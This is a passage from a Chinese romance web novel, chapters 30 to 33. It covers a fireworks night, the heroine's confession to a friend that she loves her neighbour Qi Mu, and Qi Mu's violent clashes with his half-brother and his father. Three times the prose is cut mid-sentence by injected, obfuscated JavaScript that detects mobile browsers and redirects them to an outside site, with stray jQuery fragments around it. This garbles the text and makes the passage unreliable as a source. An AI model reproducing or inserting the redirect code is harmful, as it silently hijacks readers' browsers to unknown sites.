她正仰头盯着他发怔,头顶忽然落下点温温的触感,祁慕的手就那么轻轻搁在她头发上,没怎么用力。 她愣了一秒,后颈跟着麻了一下。 下一秒,眼前的男人微微低头,视线跟她齐平。江风卷着他身上清冽的气息漫过来,声音压得很低,像羽毛拂过耳尖:“开始了。” 话音刚落,一束金光倏地划破夜幕。金色烟花在最高点炸开,瞬间化作流光溢彩的蝴蝶。 烟花的光影在祁慕深邃的轮廓上流动,将那双黑漆的眼眸照亮。温昭望着他的侧脸,连眨眼都忘了,脑子里空空的。 正出神,他忽然又转头看向她,绕到她身后。 一根微凉的指尖轻轻勾住她的下巴,往上抬了抬。他弯下腰,肩线几乎要贴上来,呼吸混着江风,一下下扫在她颈侧。 刚好这时候烟花停了一瞬,周围静悄悄的。 他的声音便在这寂静里漫开来,顺着耳膜钻入她的意识中:“看天上。” 温昭胡乱点头,手指慢慢攥紧了衣角,心脏“扑通”跳着,跟天上接二连三炸开的烟花一样,声音逐渐重合。 她的后背微微发烫。 明明看不见他,可就是能感觉到他离得有多近。 近到隔着衣料却能感受到体温,近到稍微往后一靠就会跌进他怀里。那种温温的存在感,像是六月夜晚的暖风,悄无声息地将她紧紧包围。 呼吸短暂的凝滞。 她仰起头,后颈的线条绷得直直的。 冷静点,看烟花。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286433|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “咻——” 又一簇火光冲向天际,炸开的瞬间,千万点星火如雨般坠落,紧接着是香槟色的流火,五彩云团,墨色天幕被彻底染成梦幻的调色盘。 她掏出手机,对着夜空拍了张烟花的照片,然后点开微信朋友圈,把之前随便从网上找的烟花背景图删了,换上了刚拍的这张。 “温昭。” 祁慕的声音从身后传来。 她转过头:“怎么了?” “帮我拍几张照片,”祁慕晃了晃手机,“要发微博。” “……哦。” 她下意识伸出手,等着接他的手机。 “用你的吧,”他把手机放回口袋,“我的快没电了。” 温昭点点头,看着祁慕走到几步开外。一入镜头,那股子平日里的酷劲儿又回来了,眉梢微挑,薄唇紧抿,下颌线紧绷变得利落,眼神带着点疏离的锐气。 她忍不住抬头:“你就不能…笑一下?” “这样?”他扯了扯嘴角,笑得僵硬,像被人抓住了某种把柄。 “……”温昭哭笑不得地放下手机,“我是说温柔点,自然点。” 祁慕若有所思地点点头:“行。” 可拍出来的照片还是不对劲。温昭轻皱着眉:“你就不能看镜头?” “看镜头温柔不起来。” “那你看什么能温柔?” 他顿了顿,眼底漾开促狭的笑意,声音不大不小,刚好够温昭听清:“你啊。” 温昭手一抖,心跳错了节拍,连带着呼吸也变得不均匀起来。 狗男人! 有喜欢的人还这么撩别人?! 她抿着唇,耳垂烧得跟揣了个小火炉似的:“你…能不能好好说话。” 祁慕低笑一声,终于没再逗她。 “咔咔咔”的快门声接连响起,温昭一口气拍了二十多张:“好了,你过来看看。” 话还没说完,祁慕已经大步走来。 她把手机递过去,祁慕却没接,反而上前一步,胳膊轻轻圈过来,一下就把她的手包在了掌心里。他握着她的手,把手机往自己眼前挪了挪,指腹有意无意地蹭过她的手背,温温的。 温昭瞬间僵住,脸颊烧得厉害,但却没想推开他,只是把呼吸放轻了些。 “嗯,拍的不错。”他垂眸看她。 温昭这才反应过来,赶紧抽出手:“那我…发你。” “行。” 她麻利地点中那二十张照片,点了隔空投送。进度条跑完的瞬间,干脆利落地摁灭了屏幕。 “怎么发完我不删,想回去自己慢慢看啊?”他笑得狡黠。 温昭一愣,立刻皱着眉抬眼,手忙脚乱点开手机:“我忘了……”说完,已经把相册里的照片删得干干净净。 祁慕脸上的笑意瞬间凝固,眉头微不可察地蹙了下。心里头那点刚冒头的雀跃被他自己这句话戳得稀碎,恨不得给自己两拳—— 真服了你这个250了,你他妈说这屁话干嘛?! 他喉结滚了滚,压下那点悔意,声音冷了些:“走吧。” “好。”温昭没察觉他语气里的不对劲,应了声,跟着他往回走。 她看着他高大的背影,悄悄放慢了脚步,快速按亮手机。指尖在屏幕上点了几下,刚刚删掉的照片又从“最近删除”里冒了出来,被她悄悄复原,藏进了加密相册。 哼,删是给你看的,存着是我自己的事,就当是免费拍了组帅哥写真,不看白不看。 她抿着唇弯了弯眼,快步追了上去。 31. 第31章 月色渐沉,繁星点缀在黑夜上空,温昭坐在落地窗前,头靠在窗户上,手机屏幕亮着。 是刚刚给祁慕拍的那些live图。 她指尖慢悠悠划着,一张一张点开看。十五张都是他惯常的冷脸,单手插兜,眼神不屑。 她撇撇嘴,继续往下滑。 下一张刚点开,live图里面传来祁慕的声音,低低的,带着点意味不明的语调—— “你呀。” 她脑子嗡的一下,大脑瞬间想起在这上一句她问的是—— “那你看谁温柔。” 她嘴角不受控制地扬起来,像含了颗草莓夹心软糖。她把那张动图点开又暂停,暂停又点开,来来回回看好几遍,连他说这话时微微挑眉的小动作都看得一清二楚。 九点四十五分,手机屏幕上方忽地弹出来一条微博通知。 是祁慕发的。 她点进去,就看见他主页更新了一条: 【烟花很绚烂】 下面跟着十宫格,一半是炸开的烟花,一半是她拍的那些照片。 不过他发出去的,全是他那副冷冰冰的表情。 “发个照片还要维持高冷人设是什么鬼?” 温昭抿着唇,点了个赞,退出微博。 她翻了翻相册,挑了几张拍得最惊艳的烟花图发了条朋友圈,没写文案,就加了两个烟花的emoji。 她起身去厨房倒了杯温水,回来接着窝在落地窗前。她手指下滑刷新朋友圈,刚发出去的动态已经显示在列表里,可目光往上移了移,却猛地顿住了。 在她那条动态正上方有一个熟悉的名字—— 7: 但我找到了比烟花更绚烂的人。 他没带图,就简简单单的一句话。 温昭下意识把手机分屏,左边是他的朋友圈,右边是他的微博。两条文案合起来就是—— “烟花很绚烂,但我找到了比烟花更绚烂的人。” 她盯着那行字,心脏像是被什么东西轻轻撞了一下,呼吸都慢了半拍—— 他这是……什么意思? 是在说谁? ……她吗? “……”她对着空气小声嘀咕,指尖抠着手机壳边缘,“但也有可能是别人……” 话音刚落,手里的手机又震了震。 是林晚的视频电话。 自从那天酒吧那档子事后,这还是她第一次主动联系。 温昭接起。 “你去看秦之奕的烟花秀了?!”林晚激动得声音都快破了。 “嗯。” “我去!你怎么弄到票的啊?!”林晚瞪着两大眼睛,“我前几天还跟我舅舅要了好久,他都说内部票早分光了,你这是走了什么狗屎运?” 温昭眼神飘了飘:“就……别人带我去的。” 林晚立刻眯起眼,像只嗅到鱼罐头的猫,凑近屏幕:“别人?哪个别人。” “祁慕。”温昭这次没再绕弯子,干脆利落地报了名字,说完耳根悄悄热了。 “什么?!!”林晚的嘴张得能塞下一个鸡蛋,声音大得让温昭离远了点,“你俩?!什么情况这是??在一起了??不对啊,他前段时间不还跟那个沈雨薇传绯闻吗?” “辟谣了。” “辟谣了?什么时候的事儿?”林晚一脸懵,显然没听过这茬。 “就在你喝醉酒后来找我的那天。” “……哦。”林晚恍然大悟,这几天她光顾着自己那摊子破事,脑子团浆糊似的,哪还有心思刷八卦,那些新闻自然是一个没看着。 她又说,“所以你们就…在一起了?”林晚的声音还带着颤,显然没从震惊里缓过来。 “没有,”温昭顿了顿,咬着下唇,“不过……” 她深吸一口气,抬头眼睛直视屏幕前的林晚,坚定地像是要入党:“我喜欢他。” 屏幕那头瞬间没了声音。 林晚保持着瞪大眼睛的姿势,嘴巴微张,像是被按了暂停键,连睫毛都没扇动。 认识温昭这么多年,她还是头一次从这人口中听到“喜欢”这两个字,还是这么大大方方、明明白白地承认,半点不含糊。 几秒钟后,林晚猛地捂住嘴,又猛地松开,尖叫着:“我的天呐!昭昭!你再说一遍?!你喜欢祁慕?!” “嗯。”温昭语气坚定。 三秒后—— 屏幕里突然一阵天旋地转,接着传来手机砸地板的闷响。 温昭吓了一跳,只听见床摇晃的声音还有林晚的尖叫声。 林晚过了好一会儿才扑过去把手机捡起来,镜头歪歪扭扭对着她通红的脸:“姐妹!你可算开窍了!我还以为你要当一辈子清心寡欲的老尼姑呢!” 她激动地手舞足蹈,又问:“你什么时候发现你喜欢他的?” 具体是哪一刻,温昭自己也说不清。喜欢这东西本就没个准头,硬要追溯的话……大概是看到他和沈雨薇被传出恋情的时候吧。 那大概是她这辈子头一回吃醋,还是陈年老醋那种酸得烧心的。她看着手机里他和沈雨薇的绯闻照片,心里就很不愉快,又闷又胀,也突然明白了什么叫占有欲。 她不满他跟别的女生传那些有的没的,不满他眼里可能装着别人,那一刻甚至还冒出个更贪心的念头—— 她想把他牢牢抓在手里,成为他眼中唯一的风景。 以前她总觉得自己不是会吃醋的性子,直到祁慕出现,才知道有些情绪是藏不住的。 “晚晚。” “啊?” 温昭望着屏幕,声音轻了些,却带着股韧劲:“我想追他!” “追他?”林晚一拍大腿,啧了一声,“姐妹,就你这条件,追他还不是手到擒来?长得好,身材好,性格好,关键是近水楼台先得月啊!” 温昭摇了摇头:“可是……他好像有喜欢的人了。” “你确定?”林晚皱起眉,“他要是有喜欢的人,还带你去看烟花秀?那么难得的票,他有病啊?换作是我,别说烟花秀了,路边摊都得拽着心上人去!” “他说……”温昭顿了顿,努力回忆祁慕跟她说过的话,“他喜欢的人烂桃花多,我觉得可能那个女生不喜欢他,被拒绝了,所以没好意思叫她……也有可能觉得门票浪费了可惜,就顺带带我了?” “你确定?” 温昭也拿不准,林晚说的有道理,可祁慕就是这么跟她说的。 她犹豫了下,还是点了点头。 “这样啊……”林晚托着下巴,眼珠转了转,突然一拍手,眼睛一亮,“这样吧!林大师传授你几招追男人的秘诀。” 温昭托着腮,半信半疑地听着电话那头林晚滔滔不绝的“追男三十六计”。林晚讲得起劲时不时还伴随着兴奋的拍床声。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286434|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 等挂断视频时,手机屏幕显示已是凌晨两点二十六分。 温昭揉了揉发酸的眼睛,把手机放到床头充电。黑暗中,她翻了个身,抱着被子,脸埋进枕头里,嘴角却悄悄扬起一个甜软的弧度。 - 次日一早,温昭刚刷完牙,脸上还挂着水珠,就听见敲门声。 她顶着一头乱蓬蓬的头发,睡眼惺忪地去开门,睡衣衣角往外翻着,脚上半拖着一双粉色的凉拖。 门一开,她瞬间清醒了。 祁慕一身清爽地站在门口,蓝色格子衬衫的袖口挽到手肘,露出线条分明的小臂。 而她不用照镜子都知道自己现在有多邋遢,头发像鸡窝,脸肯定很肿,昨天晚上才跟林晚拍着胸脯说要追人家,今天就这副鬼样子见人,她手不自觉地往头发上扒拉,恨铁不成钢地想掐自己一把。 “刚起床?”祁慕的视线落在她乱糟糟的发顶上,眼底藏着点笑意。 温昭扯出个比哭还难看的假笑:“……嗯。”视线不自觉飘到他手里的行李箱上,她眨了眨眼:“你这是要出去?” “嗯。”他应得简洁。 她盯着那只行李箱,不由得出神—— 这是要去追人? 还是去工作? “去录几天综艺。” 温昭点点头,心里那块悬着的石头落了地,嘴角控制不住地往上翘,眼睛弯成了月牙。 祁慕扶着门框,微微低头看她,眉梢挑了挑:“我出去几天,你好像…很高兴?” 温昭对上他漆黑的眼眸,那里面带着探究,看得她心头一跳,连忙摇头:“没有没有。” “方便吗?” “怎么了?” “芝麻能不能帮忙照顾一下?” “当然可以。” 祁慕被她快速的回复有点弄懵,而后点点头:“行,那你来拿下东西。” “哦……好” 温昭跟着他走进他家,芝麻已经醒了,正懒洋洋地趴在猫窝里舔爪子,看见温昭进来,尾巴尖轻轻晃了晃。 “你之前出去的时候,芝麻就一直呆在家里吗?”温昭蹲下身,摸了摸芝麻的小脑袋。 “没有,”祁慕顿了顿,一边打开柜子拿猫零食,一边说,“放宠物店了。” “……哦,”温昭点点头,又抬头看他,“那这次怎么……” 他转头看她:“宠物店它呆不习惯,上次回来蔫了好几天。”他顿了顿,视线落在她正揉着芝麻下巴的手上,又补充道,“你之前把它照顾得挺好,它看起来……也挺喜欢你。交给你,我放心。” 温昭轻点头,指尖顺着芝麻柔软的毛往下滑,小家伙舒服得躺着,乖乖地任她摆弄。 祁慕帮她把一些东西放到她家,走到门口又突然回头:“老规矩,记得发照片!” “知道啦——” “行,”他轻笑一声,“走了。” “嗯……”温昭微微低头,讷讷地应着。 她抱着芝麻站在门口,看着他修长的背影消失在电梯里,才慢吞吞关上门,后背轻轻抵在门板上。 她这才回过神,拍了下额头—— 不对啊,不是要追他,人走了,这怎么追?隔着屏幕发消息吗? 她低头看了看怀里乖巧的芝麻,长长叹了口气,指尖点了点猫鼻子:“算了算了,一步一步来吧,好歹……我还有个‘人质’呢!” 32. 第32章 演播厅里,祁慕漫不经心地翻看着晋级人员的名单,当翻阅到第二页时,他指尖微微一顿。 “祁子航”三个字在第二页的最上面。 他唇角勾起一抹讥诮的弧度,“啪”地合上了名单册。 “好,倒计时十秒钟。”导演在一旁说着。 随着倒计时结束,主持人齐嘉瑞走上台:“欢迎来到《脱口秀4》的比赛现场!”他熟练地介绍着赛制,“今天我们将从三十五名选手中淘汰十人,由台下的五位评委来打分,按照总成绩平均分进行排名,排名前二十五则进入下一赛制……” 祁慕往椅背上一靠,两条长腿交叠着,手指交叉放在大腿上。 主持人刚下场,序号牌“1”的选手就磨磨蹭蹭挪上了台。 祁慕眼皮微抬,看清那张脸时,眉峰微动。 祁子航站在舞台中间,白T恤的衣尾都被攥皱了,眼神更是没个落点,一会儿瞟导演,一会儿瞅地板,偏就是不敢往评委席这边落。 祁慕皱着眉看他—— 就这怂样? “呃……那个……我今天想讲的是……”祁子航的声音发飘,磕磕巴巴的,刚开了个头就卡壳。 台下观众开始交头接耳: “这状态也太垮了吧!” “比初筛时差远了!” “初筛时也没好到哪去,就他那样还五盏灯,听了就想笑!” “我听小道消息说,他爸是悦海娱乐的老板,说不定啊就是走后门的……” “你看他现在这德行,怕不是后台硬也撑不住!” “依我看呐,及格线都悬喽!” “……” 底下的窃窃私语飘进祁慕耳朵里,他听得一清二楚。 他在椅子上轻轻晃了下脑袋,低头时喉间溢出声极轻的笑。他原以为,被戳穿走后门那点破事,好歹能让这小子知耻后勇,私下里哪怕抱佛脚也该准备准备。 谁成想,是直接摆烂了。 祁清远要是在这儿,怕是得气笑。 打分环节一到,前面四位评委的分数亮出来的瞬间,台下又是一阵抽气—— 63、61、65、60。 祁慕瞥了眼那串数字,眼底掠过丝冷意。估摸着是看在祁清远的面子上,给得够手下留情了。 可他这次可不需要给谁面子。 祁慕捏着马克笔的手顿在白板上,墨头悬着没动。 他微微抬眼,看了眼台上祁子航那副手足无措的样子,低笑一声,笔尖在板上划过,留下个利落的数字。 他盖上笔帽,把白板往身前一翻—— 57 那数字红得扎眼。 台下响起了很大的抽气声。 祁子航猛地抬头,眉头拧成个疙瘩,眼睛瞪着祁慕,眼里又惊又怒。 祁慕迎上他的目光,嘴角噙着点若有若无的嘲讽—— 当了几年娇生惯养的祁家少爷,还真当自己有几分能耐? 这分数,已经算给他留脸了。 可对祁子航来说,就不一样了。 明知道自己那五盏灯是走后门混来的,可架不住之前被捧得太高,如今当着这么多人的面摔得这么惨,那股子天翻地覆的落差感,像只手死死攥住他的喉咙,令他窒息、恼怒。 他扯着嘴角强笑,脚步发沉地退了场。 …… 所有选手都比完后,大屏幕上跳出成绩排名,不出所料,祁子航排在最后。 他站在台上,后槽牙咬得发酸,眼尾红得吓人,眼睫一下一下抖动着,手在身侧已经握紧了拳。 祁慕坐在台下,指尖转着手上的戒指,只轻轻摇了摇头,扫了眼台上那身影,又飞快低下头,眼底没什么情绪。 …… 等录制结束,陶逸兴走了过来,凑到他耳边说得极轻:“阿慕,你是没瞧见,刚才祁子航那眼,红得跟兔子似的,估计肺都气炸了,我瞅着都想笑。” 祁慕勾了勾唇角没说话,刚迈开步子,祁子航就跟疯了似的追上来,挡在他面前。 “你是不是故意的?” 祁慕抬眼,眉梢挑着点不屑:“故意?” “不然呢?57分!这破节目办了四季,有谁拿过这种分?”祁子航的声音都在发颤,显然是气狠了。 祁慕双手交叠抱在胸前,眼神凉飕飕的:“祁子航,就你这种水平,要是没祁清远,你以为其他几位会给你好脸色?怕是打分比我还低。自己没本事准备,倒有脸怪别人分数给得低?还是说,第一轮靠关系混来五盏灯,就真当自己有点能耐了?” 他往前逼了半步,语气淬着冰:“我劝你,有这功夫在这儿撒野,不如回去多练练。别在这儿丢人现眼!” 祁慕刚转身,祁子航突然跟炸了毛的狗似的吼起来:“祁慕!你就跟你那个死了的妈一样,一辈子见不得别人好!” 祁慕的脚步猛地顿住,缓缓转过身,眼神骤然变得凶狠,像被触了逆鳞的狼。 他几步冲过去,一把拎住祁子航的衣领,力道大得几乎要将人提起来,:“你他妈再说一遍?” “我说”祁子航像是豁出去了,脖子梗着,一字一顿地喊,“你跟你那个死了的妈一样!” 祁子航对于祁慕来说就像是一条乱咬人的疯狗而已,他懒得多费唇舌。可他妈妈那是他刻在心头上的底线,谁也碰不得。 特别是祁清远、祁子航,还有祁子航他那个妈。 那年除夕夜,街头小巷正热热闹闹的过年,而祁慕的妈妈却在那天夜里走了。后头三天本该是守灵悼念的日子,祁清远的影子都没出现过。 还是后来从祁清远助理那儿打听到,那三天,他正忙着把祁子航和他那个妈从别的城市接过来。也是那时候,祁慕才知道,原来祁清远早在外头养了个私生子,那小子跟他一般大,就比他小三个月。 至于他妈妈的死,祁清远自始至终,连句像样的问候都没有。 自那以后,祁家的门,他一步没踏进去过。 …… 祁慕死死盯着祁子航那副嚣张得欠揍的嘴脸,手臂上青筋尽数浮起,眼上布满了红血丝。 他猛地抬起手。 啪—— 不是巴掌,是实打实的一拳,狠狠砸在祁子航脸上。 祁子航一声闷哼,踉跄着后退两步,右半边脸立马红起来了,上面清晰地印着几道指节印,嘴角裂开,鲜血慢慢地从里渗了出来。 祁慕一步一步走过去,陶逸兴试图阻拦,就被祁慕反手一推。 他走到祁子航面前,单脚屈膝在他边上蹲下,带着股压人的气势。他伸手,两根手指捏住祁子航的下巴。 “我告诉你,”他声音不高,甚至能算平静,“你要是再敢提我妈一个字——”顿了顿,他扯了扯嘴角:“那就不是这一拳那么简单的了!” 话音落,他猛地松开手,祁子航的下巴被甩得偏到一边。 祁慕没再看他一眼,站起身,转身就走,背挺得笔直,带着股没散干净的戾气。 休息室内没什么人,灯光暗了一半,朦朦胧胧的,陶逸兴跟在祁慕身后关上了门。 祁慕靠在墙上,眉头紧皱,陶逸兴几步走到他跟前:“你今天那拳下去是痛快了,可祁子航那性子,能善罢甘休?回头要是让祁清远知道了……” “知道就知道。”祁慕打断他的话,嗤笑一声,抬眼时眉梢还挑着,那股子不在乎明晃晃的,“他能拿我怎么样。” 陶逸兴没再接话,只是眼底还留着些担忧。 空气静了没两秒, 陶逸兴忽然想起什么,又问:“对了,明天回去吗?” “嗯,下午再走。”祁慕应着,又补了句,“明天……陪我去买根糖葫芦,还是上次那家。” 陶逸兴愣了下,随即笑出声:“你上回不还说这东西不好吃吗?说酸得掉牙,干嘛,自虐啊?” “还行吧,”祁慕别过脸,“可能上次…不对味吧。” “是是是,”陶逸兴憋着笑点头,“心情顺了,吃啥都香。” “就你屁话多。”祁慕瞪他一眼。 陶逸兴顺势往他身边凑了凑:“话说,你什么时候跟温医生表白?” 祁慕手一顿:“再过一段时间,准备准备。” “表个白还要准备,又不是求婚!?” “你懂个屁!”祁慕伸手就往他腿上拍了一下,“女孩子都图个仪式感懂不懂?一看就没谈过恋爱。” “切,”陶逸兴揉着腿小声嘟囔,“搞得好像你谈过一样……” 话还没说完,就对上祁慕的白眼,那点嘟囔瞬间憋了回去。 - 客厅里亮着暖黄的灯,电视屏幕上正演着新出的古装悬疑剧,温昭抱着芝 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温昭最怕这个,笑着扭着身体躲,怀里的芝麻被晃得不耐烦,轻巧地跳下沙发,踩着猫步悠哉悠哉走回了自己的小窝。 两人正闹得沙发垫都乱了角,茶几上的手机突然“嗡嗡”震动起来。温昭赶紧攥住林晚作乱的手,从沙发上直起身,伸手去够手机。 林晚一看那名字,满脸疑惑:“7?祁慕啊?” 温昭嗔怪地“啧”了一声,抬眼瞪她。 林晚见好就收,举起双手作投降状:“行行行,我最识相了,绝对不当这碍眼的电灯泡。”她故意用胳膊肘撞了撞温昭的肩膀,挤眉弄眼地压低声音,“你俩……好好聊啊!” 温昭被她逗得又气又笑,抬手在她背上拍了一下。等林晚嘻嘻哈哈地溜进客房,她才对着手机屏幕理了理被闹乱的碎发,指尖在屏幕上顿了顿,点了接听。 “在干嘛?” “看电视。” “我猫呢?” 温昭这才后知后觉低头看,刚才跟林晚闹得太疯,怀里的猫早没影了。 她看向猫窝,芝麻正舔着自己的爪,又转回眼:“在它自己窝。” 祁慕在那头几不可见地点了点头,没说话。 空气静了两秒。 温昭主动问:“要、要看看它吗?我去抱过来?” “不用,”他轻笑一声,声线低了些,“随它去。” 温昭“哦”了一声,犹豫半天还是问出口:“你…什么时候回来?” “大概还有个…七八天。” “七、八天?”温昭眼睛都睁大了点,声音里带着点自己都没察觉的惊讶。 要这么久。 祁慕的语气变得促狭起来:“怎么?想我了?” “……”温昭被他拆穿心思弄得有些慌神,干脆直接垂演,“我是怕、怕你家猫想你。” 再次抬眼时,却看见祁慕在屏幕另一头捂嘴憋着笑,脸色渐渐绯红。 她咬了咬下唇,心一横:“等你回来…我…请你吃饭吧?” 祁慕眉梢挑了挑,没说话,就那么眯着眼睛看她,眼神里带着点探究。 温昭脸更烫了,赶紧找补:“就是你上次带我去看烟花秀,我还没好好谢谢你……” 他这才慢悠悠点头,尾音拖得长长的:“嗯,确实应该好好谢谢。” “好好谢谢”四个字被他说得格外缱绻,温昭耳根子都红透了,心砰砰跳。 这男人太会了,说话时音调老喜欢轻轻一扬,带着勾人的劲儿。 她实在扛不住这眼神,慌忙找借口:“那什么太晚了,我先睡了。” “行。”他应得干脆。 温昭刚要按挂断,那边突然又开口,声音低了些,像凑在耳边说的:“对了。” “什么?”她手一顿。 “记得想我。” 温昭脑子“嗡”的一声,傻愣愣地张着嘴:“啊?” 他在那头笑得更明显了,补充道:“转告你旁边那只猫。” “……哦,好。”她几乎是落荒而逃般应了,手指飞快按了挂断键,手机往沙发上一扔,捂着发烫的脸,心脏还在疯跳。 这男人。 说话总是说半句,什么癖好。 温昭把脸埋进靠枕里,脸上的余温还未退散。 不过,她确实有点想他了…… 33. 第33章 林晚靠在墙边,手里拿着搓条修着指甲,摇了摇头。 “啧啧啧,我好像闻到了一股恋爱的酸臭味。”她探出头,冲温昭挤挤眼,“昭昭同学,你上次说祁慕有喜欢的人了?” 温昭点点头,“嗯”了一声。 林晚停下手上的动作,直起身走了过来,坐到她边上:“可我怎么瞧着,他说的那个人,就是你呢?” “我?”温昭指了指自己,有些诧异。 “对啊!”林晚搂住她的肩膀,“你想啊,那么难得的一张票,他放着喜欢的人不带,偏带你去?还有他那只宝贝猫,他一个明星还找不到人照顾?更重要的是,他每次跟你说话时那眼神,明里暗里都在撩你。” 温昭刚张了张嘴想辩解,就被林晚伸手捂住了嘴:“你可别跟我扯朋友啊,邻居那一套,我跟我朋友可不来这套。” 温昭乖乖闭了嘴,垂着眼。 其实她不是没偷偷想过,说不定祁慕喜欢的人就是自己。 可念头刚冒头,就被她自己按下去了。 怕这全是自己的一厢情愿,是自作多情。 更何况……祁慕说过,他喜欢的那个人,身边烂桃花多得很。 她对着自己默了默。 她哪里来的什么烂桃花? 别说多了,简直是清心寡欲。 正愣神呢,林晚忽然拍了下大腿:“对了,他啥时候回来?” “还有个七八天。” “七、八天!”林晚睁大眼睛,“昭昭,你说他要是经常这样一段时间出差一趟,那你这夫——得追到猴年马月啊!” 温昭尴尬地笑了笑—— 猴年马月又怎样?她也认了。 大不了就慢慢等,慢慢靠近。 除非……他真的追到了他口中那个“喜欢的人”。 念头刚落,心里又忽然窜出个有点自私、甚至称得上歹毒的想法: 她希望他追不到。 - 隔天,星海就飘起了雨。 眼看就快到六月,梅雨季也缠缠绵绵地跟着来了,整个天都阴沉沉的,空气里闷得发黏,走两步就一身汗。 温昭撑着把伞从车上跑下来,帆布鞋尖还是溅了些泥点,袜子湿乎乎地黏在脚背上,难受得很。 她刚踏出电梯,脚步就顿住了。 祁慕家的门敞着道缝,里面隐约有说话声漏出来,嗡嗡的,听不真切。 不是说还有七八天才回来吗? 温昭愣了两秒,放轻脚步走了过去。刚靠近些,里面的争吵声就带着极浓的火药味漫了出来。 “你这么做有什么好处?他可是你亲弟弟!你非要让他这么难堪是吗?”一个中年男人的声音传来,透着怒火。 “亲弟弟?我记得我妈当年只生了我一个,什么时候多了个弟弟?还是说,我得认个私生子当弟弟?” 是祁慕,他的声音又冷又厉。 温昭的心猛地揪了一下,犹豫了片刻,还是悄悄推开了那道缝。 客厅里站着一个西装革履的男人,体型有点胖。 “你!”男人往前冲了两步,指着他脸的手都在抖,“我看你是被你那死老太婆教坏了!一点规矩都没有,目无尊长!早知道当年就该把你捆在家里,看你还敢不敢这么跟我说话!” “死老太婆?”祁慕猛地站起来,他本就比男人高,居高临下地睨着对方,声音带着压迫感,“你再敢说我外婆一句试试?” “我说错了?要不是她没好好教你,你能跟家里闹成这样?” “家?”祁慕冷笑着,“祁清远,我妈死的时候你半句话都没说,甚至连她最后一面都没见,转头就带着祁子航他们娘俩领进门,那个时候你怎么没想过‘家’?” 他上前一步,几乎贴到男人面前,声音压得极低:“他祁子航在我水里下安眠药,差点让我错过考试的时候,你帮着他骗我,怎么没想过这个‘家’?怎么,现在他被我打了一下,你倒想起我是你儿子了?倒想起来这个你所谓的‘家’了?”他声音越说越响,一字一句传到温昭耳中。 他眼尾泛着红,眼眶中布满了红血丝,连手都在微微发颤,眼里明明含着泪,却死死憋着。满身戾气,又藏着说不出的委屈。 啪—— 温昭见状倒吸一口凉气。 一个巴掌结结实实地甩在祁慕脸上,力道不轻,脸上立马红了半片,眼里那点死死憋着的泪也被甩落,额前的碎发也跟着晃。 他盯着祁清远,忽然低低地笑出声:“这一巴掌,就当还你前六年的养育之恩。”他拿起手机,在屏幕上轻点,“最后的100万。” 一百万? 温昭心里一顿。 所以这一百万,是他欠他父亲的? 祁慕对着祁清远输入的支付密码,祁清远口袋里的手机发出“叮”的一声:“我还清了,从今天起,祁家的事别再来烦我。你要是嫌闹得不够大,”他舌尖顶了顶后槽牙,“我们可以去媒体说道说道,你那些破事儿,他们指定感兴趣。” “你敢!?”男人气得浑身发抖。 祁慕扯了扯嘴角:“你看我敢不敢!”他重新坐回沙发,翘着腿:“还有事儿吗?没事,就给我滚!” “你会后悔的!”男人撂下这句狠话,转身拍门而去。 见祁清远出来,温昭吓得赶紧转过身,假装只是碰巧路过的邻居。 直到电梯门“叮”地合上,她才慢慢转过身。 祁慕家的门被刚才那一下摔得敞开着,祁慕正微微抬着眼,恰好看到站在门口的温昭。 她就站在门口,没说话。 祁慕动了动唇,刚想说什么,温昭就跑回家了,悬在半空的手僵了僵,缓缓落回膝盖上。 他靠回沙发里,后脑勺抵着靠背,仰头望着天花板那盏吊灯。 刚才没掉完的眼泪,终于忍不住顺着眼尾往下滑。 不仅仅是因为祁清远那一巴掌,也不是因为那些翻旧账的争吵。 是因为温昭刚才那个眼神。 惊惶、无措…… 她肯定都听见了。 听见他像个疯子似的嘶吼,听见那些不堪的家丑,听见他藏了二十多年的戾气。 在她面前,他就算偶尔冷傲,也从来没这般歇斯底里过。 怕是吓到了…… 祁慕抬手抹了把脸,指尖触到滚烫的红肿,自嘲似的勾了勾嘴角。 …… 窗外的雨声不知何时变得泼泼洒洒,声响裹住了整个屋子,湿冷又沉闷。 祁慕眼角的泪还在无声地淌,沙发一角洇出了深色的湿痕。他没去擦,就那么垂着眼,肩膀垮着,整个人被抽走了所有力气。 而下一秒。 一股冰凉的温度带着些许粗糙的质感触碰到他滚烫的脸上。 他意识到什么,心头一震,猛地睁眼,直起身。 温昭站在他面前,手里捏着张皱巴巴的纸巾递来,语气温柔又轻:“擦擦吧。” 他愣住了,眼里还蒙着层水花,难以置信地看着她。这副样子,没了刚才的戾气,只剩下茫然。 见他没有反应,温昭坐到他边上,轻轻握住他的手,把纸巾塞进他掌心。 “我还以为……” “以为什么?”温昭抬头看他,嘴角弯着浅浅的笑意,眼里干干净净的。 “以为你吓到了……”他别开视线,声音低了下去。 温昭顿了顿,忍不住轻笑出声,像风吹过风铃:“祁老师,我是医生,胆子…没这么小。” 她说着,从一旁的塑料袋里摸出个裹着毛巾的冰袋,递到他面前:“刚从冰箱冻的,敷敷吧,能消肿。” 祁慕接过冰袋,毛巾上的凉意渗过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 